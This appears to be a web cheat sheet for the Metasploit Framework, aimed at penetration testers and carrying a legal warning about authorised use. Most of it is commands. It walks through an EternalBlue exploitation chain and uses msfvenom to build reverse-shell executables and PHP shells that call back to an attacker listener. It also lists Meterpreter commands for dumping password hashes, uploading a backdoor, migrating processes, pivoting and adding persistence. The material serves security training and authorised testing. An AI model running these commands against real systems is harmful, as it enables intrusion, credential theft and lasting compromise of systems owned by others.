Penetration Testing · Exploitation · Red Team

Metasploit
Cheatsheet

A comprehensive reference for the Metasploit Framework — covering module types, the full exploitation workflow, Meterpreter commands, post-exploitation, pivoting, and database integration.

Tool: Metasploit Framework

Vendor: Rapid7

Level: Beginner → Advanced

Topics: 9 sections

Rapid7 Metasploit Docs

What is Metasploit?

The Metasploit Framework (MSF) is the world's most widely used open-source penetration testing framework, developed and maintained by Rapid7. Originally created by HD Moore in 2003, it provides a comprehensive platform for developing, testing, and executing exploit code against remote targets.

What it does: Metasploit automates the exploitation of known vulnerabilities. It includes hundreds of exploits, auxiliary modules, payloads (including Meterpreter), encoders, and post-exploitation tools — all accessible through a unified console interface.

Real-world use: Used by penetration testers, red team operators, and security researchers for authorised security assessments. It is a core tool for OSCP, CEH, and CompTIA PenTest+ certifications. It is also the primary delivery mechanism for many APT simulations and CTF challenges.

⚠️ Legal Warning: Metasploit must only be used on systems you own or have explicit written authorisation to test. Unauthorised use violates the Computer Fraud and Abuse Act (US), Computer Misuse Act (UK), and equivalent laws worldwide. Always operate within a defined Rules of Engagement (RoE) document.

2400+

Exploits

1100+

Auxiliary Modules

900+

Payloads

Free

Open Source (MIT)

1. Module Types

Metasploit organises its capabilities into six module categories.

exploit/

Code that takes advantage of a vulnerability to execute a payload on the target system.

payload/

Code that runs on the target after exploitation — shells, Meterpreter, command execution.

auxiliary/

Scanners, fuzzers, sniffers, and brute-force tools that don't deliver payloads.

post/

Post-exploitation modules — privilege escalation, credential dumping, pivoting.

encoder/

Transforms payloads to evade AV/IDS detection by obfuscating the shellcode.

evasion/

Generates AV-evasion payloads and executable formats for bypassing security controls.

2. Getting Started

# Launch Metasploit Console
msfconsole                      # standard launch
msfconsole -q                   # quiet mode (no banner)
msfconsole -r script.rc         # run a resource script

# Help
help                            # list all commands
help search                     # help for specific command

# Update Metasploit
msfupdate                       # update framework (Kali)
apt update && apt install metasploit-framework  # Debian/Kali

# Start database (required for workspaces)
service postgresql start
msfdb init
msfdb run                       # launch MSF with DB

3. Complete Exploitation Workflow

The standard Metasploit attack chain — from finding an exploit to gaining a shell.

Search for an exploit

Find relevant modules using keywords, CVE numbers, or service names.

search type:exploit name:eternalblue search cve:2021-44228

Select the module

Load the exploit module. Use the number from search results or full path.

use exploit/windows/smb/ms17_010_eternalblue use 0

View and configure options

List required options and set target IP, port, and other parameters.

show options set RHOSTS 192.168.1.10 set LHOST 192.168.1.5

Select a payload

Choose what runs on the target after exploitation — Meterpreter is most versatile.

show payloads set PAYLOAD windows/x64/meterpreter/reverse_tcp

Verify configuration

Check all required options are set. Run check if supported.

show options check

Launch the exploit

Execute the exploit. If successful, a Meterpreter/shell session opens.

run exploit exploit -j

Post-exploitation

Use Meterpreter or shell commands to escalate privileges, dump credentials, and pivot.

getuid getsystem hashdump

4. Core Console Commands

# Search and navigation
search ms17-010                 # search by name/CVE
search type:exploit platform:windows  # filter by type+platform
search author:hdm               # search by author
info                            # detailed module info
info exploit/windows/smb/ms17_010_eternalblue
back                            # go back to previous context

# Options
show options                    # required/optional settings
show advanced                   # advanced options
show targets                    # supported targets
show payloads                   # compatible payloads
show missing                    # show unset required options

# Setting options
set RHOSTS 192.168.1.10        # target host
set RHOSTS 192.168.1.0/24      # target subnet
set RPORT 445                   # target port
set LHOST 192.168.1.5           # attacker IP (for reverse)
set LPORT 4444                  # listener port
setg LHOST 192.168.1.5          # set globally (all modules)
unset RHOSTS                    # clear option

# Execution
run                             # execute module
exploit                         # alias for run
exploit -j                      # run as background job
exploit -z                      # run and background session
check                           # check if target is vulnerable

5. Payloads

Payload	Type	Description
windows/meterpreter/reverse_tcp	Staged	Windows Meterpreter — reverse connection. Most common payload for Windows targets.
windows/x64/meterpreter/reverse_tcp	Staged	64-bit Windows Meterpreter reverse TCP.
linux/x86/meterpreter/reverse_tcp	Staged	Linux Meterpreter 32-bit reverse TCP.
linux/x64/meterpreter/reverse_tcp	Staged	Linux Meterpreter 64-bit reverse TCP.
windows/shell_reverse_tcp	Single	Simple Windows command shell — reverse connection. Lightweight, no Meterpreter.
windows/meterpreter_reverse_https	Single	Stageless Meterpreter over HTTPS. Better for egress filtering bypass.
php/meterpreter_reverse_tcp	Single	PHP Meterpreter for web server exploitation.
java/meterpreter/reverse_tcp	Staged	Java Meterpreter — cross-platform for Java apps.
android/meterpreter/reverse_tcp	Staged	Android Meterpreter for mobile device testing.

# Staged vs Stageless
# Staged (/) : small stager downloads main payload from handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp    # staged (note /)

# Stageless (_) : entire payload in one — no callback for second stage
set PAYLOAD windows/x64/meterpreter_reverse_tcp    # stageless (note _)

# Generate standalone payload with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell.elf
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
msfvenom -l payloads                                # list all payloads
msfvenom -l formats                                 # list output formats

6. Meterpreter Commands

Meterpreter is an advanced payload that runs entirely in memory, uses encrypted communications, and provides a rich post-exploitation environment.

# System information
sysinfo                         # OS, hostname, architecture
getuid                          # current user context
getpid                          # process ID of Meterpreter
ps                              # list running processes

# Privilege escalation
getsystem                       # attempt to escalate to SYSTEM
getprivs                        # list current privileges

# Credential access
hashdump                        # dump local password hashes (requires SYSTEM)
run post/windows/gather/smart_hashdump  # smarter hashdump
run post/multi/recon/local_exploit_suggester  # suggest local privesc

# File system
pwd                             # current remote directory
ls                              # list directory
cd C:\\Users                    # change directory
download secret.txt /tmp/       # download file
upload backdoor.exe C:\\Temp\   # upload file
search -f *.txt -d C:\\         # search for files

# Network
ipconfig                        # network interfaces
route                           # routing table
portfwd add -l 8080 -p 80 -r 10.10.10.5  # port forward

# Process migration
migrate 1234                    # migrate to PID 1234 (for persistence/stability)
migrate -N explorer.exe         # migrate to explorer.exe

# Shells and interaction
shell                           # drop to system shell
execute -f cmd.exe -i           # execute and interact
background                      # background Meterpreter session
exit                            # close session

7. Session Management

# Session management
sessions                        # list all active sessions
sessions -l                     # list sessions
sessions -i 1                   # interact with session 1
sessions -k 1                   # kill session 1
sessions -K                     # kill ALL sessions
sessions -u 1                   # upgrade shell session to Meterpreter

# Background and foreground
background                      # background current session (Ctrl+Z)
fg 1                            # foreground session 1

# Multi-handler (catch reverse shells)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
exploit -j -z                   # run as background job

# Jobs
jobs                            # list running jobs
kill 0                          # kill job 0

8. Post-Exploitation & Pivoting

# Post modules — run from msfconsole
use post/windows/gather/hashdump
use post/windows/manage/enable_rdp    # enable RDP on target
use post/multi/recon/local_exploit_suggester
use post/windows/gather/credentials/credential_collector
use post/windows/gather/enum_domain

# Run post module on session
run post/windows/gather/hashdump SESSION=1

# Pivoting with routes
route add 10.10.10.0/24 1       # route traffic through session 1
route add 10.10.10.0 255.255.255.0 1
route print                     # show routes
route flush                     # clear all routes

# SOCKS proxy for pivoting (from Meterpreter)
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j

# Persistence
run post/windows/manage/persistence_exe  # add persistence
use exploit/windows/local/persistence

9. Database & Workspaces

Metasploit integrates with PostgreSQL to store scan results, credentials, and hosts — keeping assessments organised with workspaces.

# Database setup
service postgresql start
msfdb init                      # initialise MSF database
db_status                       # check DB connection

# Workspaces
workspace                       # list workspaces
workspace -a client_assessment  # create workspace
workspace client_assessment     # switch to workspace
workspace -d client_assessment  # delete workspace

# Hosts and services
hosts                           # list discovered hosts
services                        # list discovered services
creds                           # list captured credentials
loot                            # list collected loot (files, hashes)
vulns                           # list identified vulnerabilities

# Import Nmap scan into DB
db_nmap -sV 192.168.1.0/24     # run Nmap and auto-import
db_import scan.xml              # import existing Nmap XML

# Export
db_export -f xml report.xml    # export DB to file